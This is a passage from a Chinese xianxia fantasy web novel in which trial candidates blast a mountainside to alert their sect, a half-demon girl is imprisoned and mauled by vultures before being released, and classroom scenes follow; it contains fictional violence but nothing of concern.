郁霄道:“也有可能,这批试炼者几乎涵盖了灵煌洲乃至临近各洲所有符合条件的新秀,如果在半道上被一网打尽,那么的确,别说梵净山,灵煌洲各大仙门近十年都不会有新弟子入门,对于一些心怀鬼胎、想搅动风云者来说,的确是个兴风作浪的好时机。”
楚纤茉暗暗攥紧了双手:“没想到我们此行会如此凶险,那现在怎么办?我们根本联系不上梵净山的仙长们,再这样下去恐怕会搭上更多人的性命。”
苏潋影捏紧了手中玉骨鞭,眼前忽然一亮:“有办法的。”
郁霄也点点头:“不错,看来苏苏和我想到一块儿了,心魔大阵连着梵净山的护山阵法,虽然心魔大阵被人动了手脚一时不易察觉,但只要护山大阵受到威胁,梵净山的人一定会闻风而动。”
楚纤茉听到还有办法,心中又燃起一丝希望,抬头看看左右两个人:“那你们打算怎么办?有需要我帮忙的吗?”
苏潋影拍拍她的肩膀:“你找个地方躲起来就行。”
楚纤茉自然是无条件的相信苏潋影的话,点点头又重复问了之前的问题,只见苏潋影和郁霄心照不宣地对视一眼,异口同声道:“炸山。”
49. 炸山姑娘
梵净山上自然是有硫磺焰硝这些矿石,收集起来后将大量灵力灌入,引爆后的破坏力更是会成几何倍翻升。
这二人说干就干,业务熟练地跟两个盗墓贼一样,收集矿石、灌入灵力、放进半山腰的洞穴里,随后跃下陡峭的崖壁站到了楚纤茉藏身的巨石后面,两人不约而同一起打了个响指。
楚纤茉看见百米之外的山崖巨烈抖动了一下,开始簌簌地往下掉尘土,等了半晌不见动静,苏潋影眯了眯眼睛:“难道是硝石放少了?”
话音刚落,忽见他们放置炸药的山洞里开始咕嘟嘟往外冒黑烟,三人同时瞳孔一缩,不约而同捂紧了本就用棉布包裹住的耳朵,齐齐趴在了地上,饶是如此还是被震耳欲聋的爆炸声震得失聪了一会儿,耳朵里发出一阵长鸣,空中沙石尘土飞扬几乎将三人活埋了。
但他们不敢轻易挪动,爆炸声还在继续,如同天雷打在耳边,地面被震得一会儿上下颤动、一会儿左右摇晃,如同一面被一个壮汉疯狂捶打的大鼓,而苏潋影他们就仿佛鼓面上无所适从的小虫子,用手捂着耳朵,恨不得拿嘴叼住草皮防止自己被甩下山坡。
与此同时,云麓天台正在昏昏欲睡的水云仙忽然被震掉在地上摔碎的茶盏惊醒了,抬起眼眸,看着远处腾起的黑色蘑菇云,习以为常地又闭上了眼。
唉,也不知道三师兄一天到底是在炼丹还是在烧煤。
等等!
水云仙忽然睁开了一双杏眼,掐指一算险些背过气去,惊叫一声。
“花师弟!不好了不好了!出大事了!”
旁边早已入定的花焚熠缓缓睁开眼睛:“师姐,扰人清修是要遭雷劈的……”
他忽然翻身坐起目露惊色,喃喃自语道:“有人动了护山大阵?”
水云仙苦涩地点点头,一脸的苦大仇深与着急上火。
师姐弟二人火急火燎御风而行前往事发地点,老远就见半山腰浓烟滚滚、烈焰飞腾,半边山坡都被烧得黢黑一片、寸草不生。
等到了地方这两人齐齐惊掉了下巴,不约而同地发出一声感叹。
“我滴个乖乖……”
再晚来一步恐怕大火都要烧到云麓天台了,更可怕的是护山大阵都被触动了,虽然不可能真的破坏到阵法,但肯定已经引起了全门派高层的一级警戒。
水云仙一想到掌门看到这幅场景的模样颇有些幸灾乐祸道:“还好当初把试炼场定在了青云峰,要是真设在我的鹿鸣峰可惨咯,烧成这样让我上哪儿哭去……”
花焚熠瞥见一片焦黑的地面上似乎还有三个活物,足尖点地抓住了其中一个小豆丁的脖领子,将人拎小鸡崽似的提起来,不可置信道:“你干的?”
见对方一脸无所谓地点头更是气不打一处来,仙人仪态险些把持不住,就差指着苏潋影的鼻子骂了。
“你说说你们这些世家子弟,试炼场是让你们这么玩的?还把我们的山头给炸平了,挺能耐啊,你家长没教过你放火烧山牢底坐穿吗?”
苏潋影倒是毫不介意让他这么提着,毕竟现在的地面甚是烫脚,她无奈地摊开了手:“大仙,麻烦您先打开心魔大阵看看里面还有几个幸存者再数落我不迟,难道你们不好奇为什么都过去这么多天了,大家伙儿没有一个人抵达云麓天台吗?”
花焚熠眉头微皱,掐指一算神色更是凝重,将手里的苏潋影放了下来,回头跟半空中的水云仙用密语说了几句什么,两人又对话几句双双消失在原地。
……
半个时辰后,云麓天台挤满了人,台上是几位临危不乱的峰主在指挥座下弟子,救人的救人、降妖的降妖。
台下是各种伤患,缺胳膊少腿的、浑身渗血的、半个脑袋都被妖兽啃掉的……简直惨不忍睹。
苏潋影等人则被花焚熠叫到了青云峰上一间偏殿里询问。
听了三人对各自情况的阐述,花焚熠背着手在原地踱步了一会儿,清冷的眸光打量着这三人,似笑非笑道:“心魔大阵在我派运行已久,绝不可能出错,但是现在,许多妖界、冥界的东西却都出现在了这里,像什么翼蛇、老饕、山魈,”
他审视的目光落在楚纤茉身上,后者不由地哆嗦了一下。
“还有冥界的血池,而现在只剩你们三人毫发无损,不由让人起疑啊。”
花焚熠不经意地观察着三人的神色,接上自己的话茬:“几位当中说不定有妖、冥两界的奸细,又或者你们三人早就串通一气编了这么一套瞎话来糊弄我,若是不方便对我说实话,那么你们可以跟它说。”
花焚熠眸中清光一闪,左边瞳孔里出现了一把完整的剑的缩影,随后离地三尺出现了一道与地面垂直的白色光线,眨眼间光线迅速变宽,苏潋影等人被白光刺得闭上眼睛,等再次睁眼时,眼前竖悬着一把出鞘的雪亮长剑,靠近剑柄处篆刻着“诸天”二字。
楚纤茉心头一紧,她之前在梦境里看到过,这是问心剑!
所谓问心剑就是六阶太息期以上修士,以自身道心为媒介催动剑气审判其他人,无上道心与被审判者的精神力相抗衡,普通人在问心剑下撑不过一炷香,哪怕是修士能以自身修为拼死顽抗,稍有闪烁其词都会被问心剑判定为说谎,然后被剑气震断周身经脉,更有甚者会被剑气直接震碎五脏六腑。
问心剑下无生死,死于剑下便是咎由自取。
花焚熠背负左手,右手成剑诀,眼眸下垂并未注视任何人:“既然你们都问心无愧,那么谁先来?”
楚纤茉和苏潋影几乎同时都想站到对方前面,异口同声道:“我来。”
楚纤茉急道:“苏苏,我从小命格异数、鬼怪缠身,那些东西说不定都是我引来的,都是我的错……”
苏潋影气得跳脚:“扯淡!普通鬼怪怎么可能上得了仙山?”
她的目光中出现了一丝狐疑,瞥向对面的花焚熠,低声嘟囔道:“说不定就是他们自身的问题,害怕被凌云殿追查才揪着我们这几个替罪羊不放——”
“放肆!”
花焚熠清喝一声,虽然脸色未变,但看得出额角青筋已经冒了出来,显然是让苏潋影气得不轻,身上剑芒黯淡了一些,转而问楚纤茉道:“你说的鬼物缠身又是怎么回事?”
楚纤茉在花焚熠审视般的瘆人目光下,磕磕绊绊将自己从小的经历大概说了一下,将上山前关于莘梓夏的那个梦境尤其详细地阐述了一遍。
“来人。”
花焚熠向着门外叫了一声,立刻走进来了一个青衫的年轻修士,恭恭敬敬地朝他行礼:“嫣雨君有何吩咐?”
“看紧这三人。”
“是!”
清言堂里,除了大门不出二门不迈的匡月、在云麓天台上指挥弟子抢救伤患的宋霜,其他七位峰主都到场了,依照次序坐下。
听了花焚熠的禀报后,掌门叶静秋神色冷凝:“又是莘梓夏……”
三峰主符珂是个火爆脾气,凤目一瞪怒声喝骂:“她自己多行不义堕仙为鬼,倒像是师门欠她一样,几次三番伤我门人,掌门师兄,不收了这个孽障更待何时?”
六峰主戴雨宁有些忐忑地看了看掌门,又看看符珂,柔声道:“到底是韩师妹的女儿,怎么能轻易对她动手……”
符珂恨铁不成钢:“六师妹,你就是太过心慈手软,那个孽障堕仙近千年,不知道造了多少杀孽,死有何辜?”
叶静秋虽然平时慈眉善目,儒雅温和,但到底是掌门,不怒自威,抬手轻轻往下一压,众人立刻鸦雀无声,他眉头紧锁,看向花焚熠道:“那三个孩子怎么回事?”
花焚熠正襟危坐于清言堂第十二把交椅上,微微朝掌门颔首:“回师兄,此三人中一人是个命格不详的凡人,一人是凤君长子,还有一人是碧梧山庄现任家主之妹,身份都有迹可循,只是还存有疑点,宋师兄说,那两个丫头身上都带有妖魔之气,不知是被幻境中的妖气侵染还是身上有妖族血统,宋师兄说还需要观察些时日。”
潇湘君沈檀溪摇着扇子一副事不关己高高挂起的模样,似笑非笑道:“既然如此,不如把这两个小麻烦精送走吧,以免多生事端。”
别人还没说什么,水云仙几乎跳起来:“二师姐,你这说的什么话,人家身上虽然有妖气,但也是堂堂正正考进梵净山的,而且还是前三名的佼佼者,就这么刷下去难以服众啊!”
花焚熠也点点头,水云仙向他投去一个赞许的目光,又微笑着看向沈檀溪,得意道:“二师姐你看,连小师弟都赞成,不如我们把那两个小姑娘留下吧,那么可爱的孩子怎么可能是妖族奸细呢?”
一直没说话的九
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峰主白荼淡声道:“师妹,人不可貌相啊,说不定妖界就是派了这么两个相貌无害的半妖来迷惑我们,要是真收入门下,后果不堪设想。”
她抿了一口茶,接着道:“而且自从一千两百年前神魔大战、魔尊陨落后,魔族销声匿迹了许久,一直退居幕后,几乎都是妖界和冥界在前方扰乱视线,这个新任魔尊一直未曾露面,不知其深浅,谨慎起见,不如暂时扣留这两人,仔细盘查,留在眼皮子底下看管也好过放任她们出去再危害世人。”
“这不是引狼入室吗?”符珂一拍桌案,十分不赞同。
最后叶静秋发话了,他神色肃然道:“焚熠,你需暗中观察这二人,如果真是妖魔二界派来的奸细,想必近期不会有动作,另外,”
他又看向白荼和水云仙:“九师妹和十师妹分别再去槐荫镇和碧梧山庄调查一下这二人的身世背景、最近都见过什么人,我们不能放任妖魔肆意妄为,也不能误伤了普通人。”
“是!”
三人齐齐站起来领命。
出了这档子事,梵净山少说也是名誉受损,受伤的弟子都需要安抚,死伤虽不惨重但传出去也会动摇人心,都被叶静秋及时压了下来,半点风声也没有透露出去。
花焚熠又在心魔大阵里检查了几遍,发现阵法的确被人篡改过,心里对苏潋影她们的怀疑又不由加深了。
“上梵净山已经三天了,涤魂池也去了六七次了,这顽固不散的妖气究竟是怎么回事?劳烦二位给我解释解释。”
苏潋影看着端坐面前的人,摸摸鼻子不好意思地笑笑:“那个,我忘了告诉你了,我有个朋友是位千年大妖,我们从小一块玩,然后吧我又经常跟纤茉在一起,可能就气息有些混杂……”
花焚熠看了她半晌:“尤其是你,妖气中甚至还参杂着魔气,别告诉我你还有个魔族好友。”
苏潋影瞪大了眼睛,万万没想到对方如此慧眼如炬,还没来得及编好理由已经被带到了云麓天台的浮屠石前。
那是一块透明的琉璃石,反射到阳光后仿佛蒙上了一层流光溢彩的轻纱,有半人来高,呈莲花形状,置于一方金台之上。
“滴血上去。”
花焚熠淡淡命令道。
此时正是梵净山的晨练时间,身着天青色校服的弟子们都在云麓天台下练剑,一招一式如同一个模子里刻出来的,动作整齐划一,看着赏心悦目。
花焚熠冰冷的眼神刀射了过来,苏潋影暗咬嘴唇有些欲哭无泪,几乎是用哀求的目光看着他,用蚊子哼哼般的声音道:“那个,尊敬的嫣雨君阁下,我晕血呀,当场晕倒不好看,不如等其他人走了再试啊?”
花焚熠更加怀疑她了,不禁冷笑:“怎么,心虚了不成?”
苏潋影气得咬紧牙关,脸色有些苍白,拿出匕首划破了自己的掌心,伸手到了浮屠莲花上方,随着鲜血一滴滴渗入莲心,浮屠石渐渐浮现出了别样的颜色……
一时之间,云麓天台下所有目光都扫射过来,花焚熠也脸色铁青地看着眼前的少女,下一刻一把攥住了她还在流血的左手。
“你还想作何解释?”
浮屠莲花石散发着淡淡的紫色光芒,霜雷之力在花瓣之间流窜,令在场所有人都高度警惕,甚至用剑尖对准了云麓天台上的苏潋影。
浮屠莲花石自梵净山建派之日就存在了,由开山鼻祖释怀璧炼制而成,每个人在正式拜入梵净山之前都会滴血验生,浮屠莲花石不仅可以测出他的身份,还能测出所属灵根和适合其修行的功法。
若是妖魔不掩饰自己的气息,一般靠近浮屠莲花石周围百丈,莲花石就会示警,若有妖物靠近会呈现绿芒,而象征着魔物的则是紫光。
花焚熠一手掐着苏潋影的手腕,另一手捏住了她的下巴,轻轻抬起,看到她的左瞳也呈现出紫色,神色略显惊异地下了结论:“人魔混血。”
眼前的姑娘脸上再也没有了先前轻松愉悦的表情,取而代之的是一片死寂,似乎意识到自己的瞳孔颜色发生了变化,仿佛犯了错误被人当场抓住一般,迅速用手捂住了左眼。
“叶斐,祁星。”
“弟子在!”
花焚熠招手叫来两个弟子,松开了钳制苏潋影的手,转头吩咐那两人:“带去风雪崖,严加看管。”
50. 明月入怀
楚纤茉和郁霄自然也在浮屠莲花石前进行测验了,无疑是被妖气侵染的正常人类,并且测试出一人为木属性灵根,另一人为火属性灵根,于是解除了看管。
风雪崖说白了就是一座大型监狱,是梵净山关押妖魔的场所,风雪漫天,气候严寒,自崖上垂落无数血迹斑斑的玄霜铁链,从下往上看,山崖上每隔十几丈就有一个妖魔被锁链紧紧束缚着,双手倒吊,脚只能堪堪踩住一点山石,几乎是被迫立在山崖上,风吹雪淋都是其次,空中时时盘旋着双眼腥红的秃鹫,如同射出的利箭一般飞来,或啄瞎这些罪犯的眼睛,或用尖利的爪子抓破他们的肚腹再掏出里面的肠肚心肝,凄厉的嘶喊声不时在耳畔回荡。
叶斐在旁边看守,盛祁星捏住一截垂下来的铁链拷在了苏潋影纤细的手腕上,看着这个年纪特别小的女孩似乎有些不忍,但莲花石已经验出了她是魔物,虽然是个人魔混血但也不容放松警惕,万一是魔族奸细必将后患无穷。
于是另一只手铐也戴上,叶斐一按雪原石台上的机关,垂下的铁索瞬间绷紧,将苏潋影吊到了半空中,手铐几乎勒进了血肉里,整个身子的重量都悬在纤细的手腕上,指尖迅速充血变紫,两腋下绷得生疼,与此同时她嘴里溢出了一丝痛苦的低吟。
叶斐与盛祁星完成了自己的任务,踏出风雪崖时重新启动了封印妖魔的阵法。
苏潋影在空中晃了一会儿,手腕被锁拷磨得红肿一片,余光瞥见身后似乎有落足点,这才忍着剧痛用力向前一荡,在惯性下身子向后靠去,砰的一声贴上了崎岖不平的崖壁,随后她迅速将自己的右脚卡在了山石间的缝隙里,铁索的晃动被死死控制住了,双足踩到实地的那一瞬间,手腕的剧痛终于彻底缓解。
“唉,终于不用再当风干腊肉了。”
她虽然在叹气,可是嘴角却带着一丝玩世不恭的笑意。
她一开口,风雪灌入了嘴里,寒风如刀刮得一张小脸泛着青紫色,眼睛几乎都睁不开。
自打她进来就有无数双眼睛注视着她,此时,距离她不远的一具冰雕尸体状的东西说话了,声音粗哑地如同锈迹斑斑的锯子在锯木头。
“小娃娃,听他们说你是个魔,呵呵,想当年魔族鼎盛时期,个个都是天生的战神,现在真是一代不如一代了……”
苏潋影微微一侧头,瞥见了冰层下那张苍老的脸,他的发丝也是暗紫色,蓬草一般披散在肩头,额头两侧有两只断掉的残角。
苏潋影冷笑一声,不无调侃地道:“尸雨长老,您这双脚冻上了,眼睫毛总不至于冻上吧?还是说记性不太好,过了区区千年连我都认不出来了?”
尸雨仿佛被唤醒了某段记忆,一双紫瞳猛然一缩,重新看向了那个看起来只有十三四岁大小的人族小女孩……不,她身上还有令他无比熟悉而恐惧的血脉。
他曾经虔诚地跪在这种血脉的君主的脚下,立誓为他死战不退,直到他追随的王彻底被神族的战神震碎心魄,彻底消散于六界,而他自己也战至精疲力竭,再也无法拿起一对霹雳流星锤,被梵净山永生永世囚禁于此,本以为此生当魂陨于这风雪崖,没想到却还能嗅到王的气息!
尸雨激动起来,恨不能现在就冲到她面前,硕大的身体疯狂挣扎着,坚冰出现了一道道细微的裂纹。
苏潋影轻声提醒道:“别,您老在里面说话就行,我耳朵不背,出来容易让秃鹫盯上。”
尸雨这才停止挣扎,语无伦次地朝苏潋影嘶吼着,语气却是无比恭敬:“您是少主吗?为什么会被关进来?难道圣地已经沦陷了?不!为什么!”
苏潋影闭了闭眼,被尸雨吵得耳朵疼。
“你先冷静一下。”
她还没有说完,另一道声音响起,这是一个女声,尖锐中透着魅惑,却也很是无力。
“莫非是圣女驾临?”
苏潋影循声望去,只见对面山崖上同样有个被冻在冰块里的红衣女子,她纤细高挑,紫红长发垂泄及膝,透过乱发的缝隙,一双淡色紫眸眨也不眨地注视着她。
苏潋影朝她一笑:“还是红袖长老眼神比较好。”
红袖一瞬间几乎是眼泪纵横,声音也哽咽了起来:“真的是圣女殿下!可是您怎么也被关进这个鬼地方了?少主怎么样了?”
这两个人吵吵嚷嚷间已经吸引了其他妖魔的注意,苏潋影低笑道:“各位,你们的出头之日就快到了,有想出去的,烦劳协助我们姐妹一雪前耻、共谋大业,否则,现在我就杀了你们,以免将来多生事端!”
她这些话不是对魔族众人说的,而是那些两面三刀、不成体统的妖族,妖皇这些旧部一向如此,好逸恶劳、荒淫无度,但是自从千年前的仙魔大战之后,妖魔二界人才凋敝,新任魔尊手下无可用之人,这才让亲妹妹出马,混入梵净山想方设法解救前任魔尊旧部,届时好里应外合重创梵净山。
只要攻下第一仙门,其他门派群龙无首,将来也好逐个击破。
听闻此言,一众魔将齐齐响应。
“吾等愿意誓死追随君上和圣女!!!”
妖族众将虽然心口不一,但还是无比渴望重获自由,在看到希望破灭之前不会出卖苏潋影,于是也七嘴八舌地呼应道:“我等愿意追随魔尊和圣女!”
他们甚至都不打听一下妖皇的下落,苏潋影会信任这群乌合之众才真是有鬼了。
她环视众人,似笑非笑道:“很好,若将来举事成功,诸位何愁不封王拜将、坐拥秀丽河山,纵享富贵乐业?人界九洲我们势在必得,不过君上说了,此事还须从长计议,不可打草惊蛇,还请诸位稍安勿躁。”
尸雨担忧而恭敬地看向苏潋影:“可是圣女殿下,如今您也身陷囹圄,岂不是也跟我们一样束手无策?如何帮助君上起事?”
苏潋影闻言笑得意味深长,淡然道:“这你就放心好了,我此来主要是为了与诸位见上一面,至于我自己嘛,不露出一点破绽怎么能完全获取对方的信任呢?”
清言堂。
水云仙将调查到的情报逐一解释一遍,众峰主皆是神色凝重,尤其是花焚熠,按在椅背上的手越收越紧,自言自语般道:“这么说来,她真的只是身负魔族血统而已?”
水云仙点点头:“我携掌门师兄密令去了一趟凤城,得凤君首肯打开了三生阁,这个苏潋影身世也算坎坷,三生残卷上记载了她某两世的轮回,其中有一世是凤城的郡主,与自己的师父相恋,但新婚之夜被此人抛弃,最后郁郁而终;还有一世她只是一个普通女子,经相士占卜被指婚给了凤城世子,但这个世子殿下一心想求仙访道,趁凤君不注意一走了之,凤君听信相士谗言认为是这个姑娘命中带煞逼走了爱子,大怒之下下令烧死了这个被指婚的无辜女子。”
白荼轻轻叹息一声:“如此命格当真坎坷,前两世为情所伤至此,想必今生不会再为情所困。”
水云仙接着道:“之后我去了碧梧山庄,明察暗访后得知,苏潋影乃是苏淮序与一魔族女子所生,苏淮序至今为止娶过三位妻子,原配生了长女苏滟冰后去世,苏淮序本想独自抚养女儿长大,可是机缘巧合下又救了被妖族围攻的魔女凌纱,与凌纱生下了幼女苏潋影,后来事情败露,凌纱被新任魔尊处死,苏潋影又尚在襁褓之中无人照顾,苏淮序原配的贴身婢女一直任劳任怨,照顾两位小姐,如同己出,苏淮序看在眼里,听从长女的意思又续弦了现在这位柳氏娘子,这便是以往经过,而魔族向来孤高自傲,几次三番派人暗杀这个混淆魔族血统的小姑娘,居然差点就得手了,想必这次碧梧山庄让她拜入梵净山也是为了躲避魔族的追杀。”
沈檀溪轻摇折扇看向掌门:“师兄怎么看?这可是个烫手山芋,送还给碧梧山庄还是?”
叶静秋思忖半晌轻叹一声:“想必这丫头小时候也吃了不少苦,我梵净山何时以血统论人贵贱了,她若想留便留,想走便走,若因我们之过将一个本一心向善的小姑娘逼上绝路,岂不是遂了那些妖魔之心?”
水云仙点点头,感慨道:“是啊,她自小左眼便是紫瞳,父亲与长姐禁止她出门,偏偏这丫头是个爱玩闹的性子,时常偷溜出去,被人当做妖怪打骂驱逐是常有之事,后来苏淮序想尽办法才用术法替她遮盖了这只紫瞳——”
话未说完花焚熠噌一下站了起来,开口说话时气息有些不稳,连向掌门施礼也忘了,语调急促道:“师兄,现在可以放她出来了吧?”
叶静秋点点头,转而吩咐身后的叶斐:“你去一趟吧。”
“不必了师兄,我去就好。”
叶斐还未领命已经被花焚熠打断,他转身出了清言堂直奔风雪崖而去。
打开禁制,踏入漫天风雪里四下寻找,白茫茫的雪地里有一滩冻成冰渣的新鲜血液,格外刺眼,而隔一会儿还会有新的血珠接二连三地滴落,他抬头向上看去,瞳孔瞬间缩成了一个小点。
三四只秃鹫盘旋在一个碧衣少女身边,时而在她身上猛啄一口,少女似乎已经昏迷过去了,但还是会因为痛苦身躯会可怜地颤动一下,她身上几乎没有一块好皮肉,原本白皙圆润的脸颊都被秃鹫抓出了几道血沟,似乎都已经镂空了,从外面能看到白森森的牙齿。眼看一只秃鹫向她的眼睛袭去,尖锐的鸟喙似乎要鹐去她的眼睛,花焚熠眸光一寒,瞳中剑芒乍现,那只秃鹫被突然袭来的剑芒击中,引颈利啸一声,如同石头一般自半空径直坠落下来,其他秃鹫被惊鸿期修士散发出来的威压吓得吱哇乱叫四散奔逃。
他按下机关的瞬间足尖点地凌空跃起,苏潋影手腕上的镣铐松开,如同一片残破的落叶般坠落下来,花焚熠伸手将人接在怀里,目睹她如今的惨状,心脏仿佛被一把无形的大手攫住。
两人落在地上
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,苏潋影的眼皮动了动,纤长卷翘的睫毛上沾满了碎雪,两弯翠睫轻颤着睁开了眼睛,一只黑瞳仿佛耿耿长夜,另一只紫瞳恰似星河流萤。
她看着眼前面如谪仙的男子,艰难地伸出被血污冰霜包裹的手,喉咙里发出不明的呜咽。
花焚熠却听明白了,霎那间无情道心都因之颤动,脚下几乎一个趔趄,紧紧抱住了怀里被折磨到奄奄一息的少女,慌乱地有些手足无措。
如果这个是妖魔,无论如何他都可以冷眼旁观,可是她只是个无辜的、无法为自己的出生而辩驳的小姑娘,因为他们的误判被吊在寒冰炼狱里近乎七天七夜……无情道仙人不会对任何人动情或产生爱怜,却会被自己的愧疚折磨得寝食难安。
就比如现在,花焚熠几乎是守在宋霜的药庐前,每隔半个时辰都会去问一声。
“师兄,她怎么样了?”
宋霜原本木讷到面无表情的一个人被烦得想撂挑子,看着又一次探头进来的师弟,深吸了一口气淡声道:“不如你亲自来医吧,在下不才达不到立竿见影的效果。”
花焚熠轻啧一声:“宋师兄,这就是你的不对了,你身为名医怎么能耍小脾气呢?咳咳……那什么,我明天再来,你好好医治她。”
说罢神思恍惚地离开了药庐,回到了桃花翩跹的嫣雨峰,路上不时有弟子向他行礼,他随口敷衍几声飘回了听雨斋,想静心打坐眼前却浮现出了苏潋影的脸,漫天风雪里,她艰难地向他伸出手,那只紫眸中有泪光闪烁,纵使体无完肤下一秒就会昏迷过去,还是挣扎着对他说:
“我不是怪物……”
他仿佛看到了一群小孩围着一个小小的身影在嬉笑,嘴里不停喊着“小怪物”,手里的树枝、石子不停向她砸去,小女孩抱着头哭喊着“我是人,不是什么怪物!”
而引来的是更加肆无忌惮的嘲弄,甚至有人想抠出她那只与众不同的紫色眼睛。
她被几个身强力壮的男孩死死按在地上,脏兮兮的小脸贴着泥土,一个狠狠踩着她的头,另一个少年拿着小刀蹲下身,雪亮的刀尖映在她的瞳孔里。
身后似乎有人喊喝一声,少年手一抖,刀尖在苏潋影脸上划出一道长长的口子,鲜血霎时间如水般涌出……
苏潋影对着小镜子看着自己缠满纱布的脸,一双大眼睛眨巴眨巴有些委屈:“爹,我不会变成个刀疤脸吧?”
苏淮序心疼地将小女儿抱在腿上,几乎老泪纵横,伸手想抚摸她的脸又怕弄疼她,抬手抹去眼角的泪花,勉强笑道:“不会的,普通的刀伤而已,咱家有好大夫,有两三个月也就彻底痊愈了,我家苏苏还是那个最漂亮的小仙女!”
花焚熠睁开了眼睛,原本清明的眼眸中有些许血丝,再打坐下去恐怕有走火入魔的危险。
水云仙的讲述太过绘声绘色了,那些苏潋影曾经经历过的事情如同发生在他眼前一样,心中杂念如同潮水翻涌,鬼使神差地又来到了药庐外面。
这个时候宋霜已经回去了,药庐里只剩下几个值班的弟子昏昏欲睡,连花焚熠进来都没有发现,他径直走进了其中一个房间,里面满是浓郁的草药味,墙上挂着摇情峰弟子制作的琉璃灯,可以随意调节亮度和灯光颜色,此时灯火昏暗,却也能看清躺在床上的人。
苏潋影几乎浑身都裹着纱布,连脸上也缠满露出血迹的绷带,一双大眼睛正无聊地望着房顶出神,听到一阵沉稳的脚步声以为是值班的弟子,哑声道:“这位师兄,麻烦给我倒杯水,嗓子要冒烟了。”
花焚熠从善如流地倒了半杯水,手指轻触在杯壁上试了温度,这才来到床前将人扶起来让她靠在自己怀里。
苏潋影瞪大了眼睛,似乎吓得不轻,微微一动脸上的鲜血又渗了出来。
“别动。”
花焚熠微微蹙眉,挑了块完好的地方捏住了她的下颌,防止她胡乱动弹再伤到自己。
苏潋影浑身僵硬,靠在他怀里简直如芒在背,干涩道:“怎么是你?”
一块叠成方块的白色手帕托到了她下巴底下,头顶一个稍显冷淡的声音道:“把血吐出来。”
苏潋影将含在嘴里的血用舌尖推了出来,茶杯又凑到了唇边,那人接着道:“先漱一下,我重新给你倒水。”
怀里的姑娘翻了个白眼:“我不在意,你知道我现在喝水有多痛苦吗?”
花焚熠有些尴尬地侧过脸,目光飘向别处,清咳一声:“是我考虑不周了,你喝吧,喝完好生休息。”
苏潋影的脑袋微微向前凑,低下头就着他的手喝水,温水流入嘴唇冲刷过脸颊内侧伤口疼得肩膀直发颤,随着她的颤抖,花焚熠的脸色白了又白,将染血的茶杯搁在床头,忽然倾身将人横抱起来,在苏潋影错愕的目光注视下将她重新在床上放平了,扯过被子拉到她锁骨下,抬手拭去了她唇角一丝血线:“睡吧。”
51. 欲擒故纵
多亏了梵净山神医,就算是弟子外出历练时缺胳膊少腿了,只要把肢体一丝不落地捡回来,假以时日宋峰主一定能恢复出厂设置……
所以三个月后苏潋影又能活蹦乱跳了,脸蛋虽然让秃鹫抓了三道沟,但现在连个疤痕都看不见,就是人清瘦了许多,原本圆润的包子脸尖瘦到几乎脱相,苏潋影连镜子都不愿意多照了,受不了这么丑的自己!
她勤勤恳恳地喝粥吃菜,争取将肉肉早点长回来,可是莲华峰的食堂里压根没有荤菜,真是苦哉。
楚纤茉贴心地帮她又满满盛了一碗芙蓉玉带汤,说的好听其实就是一碗鸡蛋醪糟,矬子里面拔将军,也算是道沾点荤腥的菜了。
经过这番磨难,跟他们同一批上山的试炼者养好伤后依次去浮屠莲花石前检测灵根,有灵根仙骨的一部分人顺利留了下来,没有仙缘的普通人得了梵净山赠送的参与礼也就万般无奈地离开了。
前几日苏潋影他们这批新弟子由大师兄叶斐带领着去潇湘峰藏书阁领取了弟子校服,接下来又是安排住处,同一批的女弟子都被分到了逍遥峰的梦蝶楼,苏潋影因为和楚纤茉分到了同一个房间很开心,就是每天要爬五楼让人很不爽。
郁霄等男弟子都住在绣雪峰的梅轩,虽然红梅飘香、景色宜人,但是天天看雪景也会腻,而且冷,非常的冷!一回到绣雪峰恨不得以百米两脚印的速度冲回房间里……
而林瑶、宫玄烛、陌菱三人则同梵净山的师姐们住在清幽雅致的缥缈峰仙音阁里,没事不但能去峰上的雅室里练习各种乐器,还能去后山泡温泉……不得不说,有些人就输在后台不硬上了。
在莲华峰吃完饭,苏潋影抱着书本和楚纤茉一起前往潇湘峰上课,她们是新入门的弟子,课业不会安排地太满,平时也有时间去其他峰上玩耍、熟悉环境。
潇湘峰主沈檀溪不苟言笑,板着一张脸很能唬人,而且她每次都会提前一炷香就到竹里馆了,在讲席上坐下,一双锐利的丹凤眼时不时扫向门口,令那些踩点进来的人纷纷如过街老鼠,灰溜溜蹭到自己的座位上,发誓下回绝不迟到。
而苏潋影无疑就是那个喜欢踩点进门的,急得楚纤茉每回都欲哭无泪。
“苏苏,我们跑着去好不好?”
“慌鸡毛啊,这不还有半炷香时间嘛。”
进门的时候楚纤茉感觉如芒在背,沈峰主的目光仿佛化作了如有实质的箭矢,嗖嗖地扎在了她后背上。
苏潋影习以为常地坐到了最后一排,刚打开书本就听一个冷淡的女子声音响起:“个头矮还坐那么后,以为我看不见你是吧?”
随后又道:“叶斐,你跟她换一下座位。”
“是。”
叶斐拿着书本走了下来对着她微笑,苏潋影瞪大了眼睛,恋恋不舍地从自己的风水宝地起来,垂头丧气坐到了中间第二排,向新同桌打招呼:“小姐姐你好,我叫苏潋影,你叫什么啊?”
盛祁星目不斜视,低声道:“上课后请不要跟我讲话,谢谢。”
沈檀溪又瞪了苏潋影一眼开始讲课,今年她所授的是九洲历史,据说要从盘古开天辟地讲到现在匡月峰主发明钢甲火器,真是无聊地要死,但是几个好学生听得十分认真,就比如前面的林瑶,坐得笔直笔直的,因为是交换生所以穿的还是一袭白衣,身姿婀娜如同一杆幼竹,谦恭有礼、勤奋好学,连万年冰山脸的沈檀溪都对她青眼有加,甚至想收其为真传弟子,林瑶婉言谢绝了,开玩笑,她有几条命敢拜除尹星灯之外的第二个师父。
苏潋影躲在林瑶身后浑身没骨头似的趴在桌子上,打着哈欠拿出了那本惊世骇俗的话本子——《花自飘零水自流》
狗血界的奇葩,言情界的败类,作者文笔差到人神共愤,剧情更是一坨翔,这种破玩意儿拿来垫桌角都嫌晦气,但放在无聊的历史课上看就有化腐朽为神奇的效果。
殊不知她看得正带劲,台上的沈峰主已经悄然走至身后,大概扫了两眼书本上的内容,嘴角微微抽搐。
“来这位同学,给大家念念这页的精彩内容,这才过巳时,我看诸位都有些困倦,不如你来让大家醒醒神。”
苏潋影无奈站了起来,结结巴巴开始读,众人一听不是九洲历史的内容纷纷来了兴趣,个个坐得比林瑶还直。
苏潋影声如蚊蚋,被沈檀溪喊喝一声后勉强提高了嗓门。
“影涵说:‘可我自己嫌弃自己,煜王对我这么好,我却总是没办法克服自己的惰性。’
他听了这话,一颗心竟是软成了棉花,双手捧起她的脸,与她对视,眼中满是鼓励:‘莫要妄自菲薄,惰性人人皆有,只要有决心,总能克服。’
